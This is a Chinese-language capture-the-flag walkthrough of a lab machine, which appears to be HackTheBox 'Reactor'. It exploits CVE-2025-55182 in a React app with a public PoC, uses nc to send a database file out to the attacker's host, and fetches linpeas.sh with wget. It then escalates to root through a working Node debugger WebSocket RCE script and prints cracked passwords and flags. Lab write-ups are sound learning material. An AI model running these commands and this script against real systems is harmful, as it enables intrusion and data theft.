本文最后更新于 2026-06-10T02:06:44+08:00
信息收集
先用nmap扫描

但是什么都没有扫出来,其实可以用Tscan扫,扫到22和3000,然后用另一个更详细精准的命令进行验证
1
| nmap -sV -sC -p22,3000 --min-rate=1000 10.129.1.23 -vv -Pn
|

这里可以发现有两个端口,常见的22端口是一个ssh服务,然后尝试去访问3000端口

CVE-2025-55182
利用Wappalyzer插件探测到存在React框架,就去搜索这个框架相关的漏洞
参考文章:https://github.com/ThemeHackers/CVE-2025-55182

利用步骤
将github中的文件下载到本地解压缩后将文件上传到kali,搭建一个虚拟环境进行操作
1 2 3
| python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
|
完成后利用脚本拿到shell
1
| python3 CVE-2025-55182.py -u http://10.129.1.23:3000/ --exploit
|
就可以进行rce
先查看id还是node身份,因此下一步就要进行一个提权

ls查看文件,发现了react.db,就需要把这个文件传输到自己的kali

先重新开一个终端在此监听8888端口,把对方发过来的所有数据保存成一个叫 reactor.db的文件
1
| nc -lvnp 8888 > reactor.db
|

然后在刚刚拿到shell的地方传输文件
1
| nc -q 0 10.10.16.23 8888 < reactor.db
|

然后需要等一会再去查看得到reactor.db文件,发现可以看到数据库

点击“浏览数据”,查看数据库中的内容,在“users”表中看到了两个用户和他们的hash加密的密码

1 2
| admin a203b22191d744a4e70ada5c101b17b8 administrator admin@reactor.htb engineer 39d97110eafe2a9a68639812cd271e8e operator engineer@reactor.htb
|
用小工具破解一下
破解工具:https://www.cmd5.com/default.aspx

提权
得到enginer的密码reactor1,尝试sudo提权
1 2 3
| wget http://10.10.16.23/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
|
但是提权失败了,可以查看后台进程

发现了本地9229开启的node调试端口,就可以利用node调试器提权
先用curl查看json
1
| curl http://127.0.0.1:9229/json
|
1
| 7422b351-76bd-480e-ab3a-034a578084d1
|

利用ws链接调试端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9229/7422b351-76bd-480e-ab3a-034a578084d1');
ws.on('open', function () { console.log('connected');
ws.send(JSON.stringify({ id: 1, method: "Runtime.evaluate", params: { expression: ` this.constructor.constructor('return process')() .mainModule.require('child_process') .execSync('id') //命令执行处,可以改为ls等等 .toString() ` } })); });
ws.on('message', function (data) { console.log(data.toString()); });
|
先进行ssh转发,密码reactor1
1 2 3
| ssh -L 9229:127.0.0.1:9229 engineer@10.129.1.23 -fN
node nodejs_debug_port_RCE.js
|
提权成功

1 2 3 4 5 6 7
| cat /home/engineer/user.txt
02ed28626cf21cf1a1464cbf0bbef209
cat /root/root.txt
859daa9ef9665449c699598ab5195eda
|
然后就是进行rce执行任意代码了
总结
这个靶机单靠nmap -A是扫不出来什么的,可以用Tscan扫。React框架下的CVE-2025-55182,利用poc可以进行rce
这里用到了一个node调试器的提权,通过ws连接调试端口进行提权,执行rce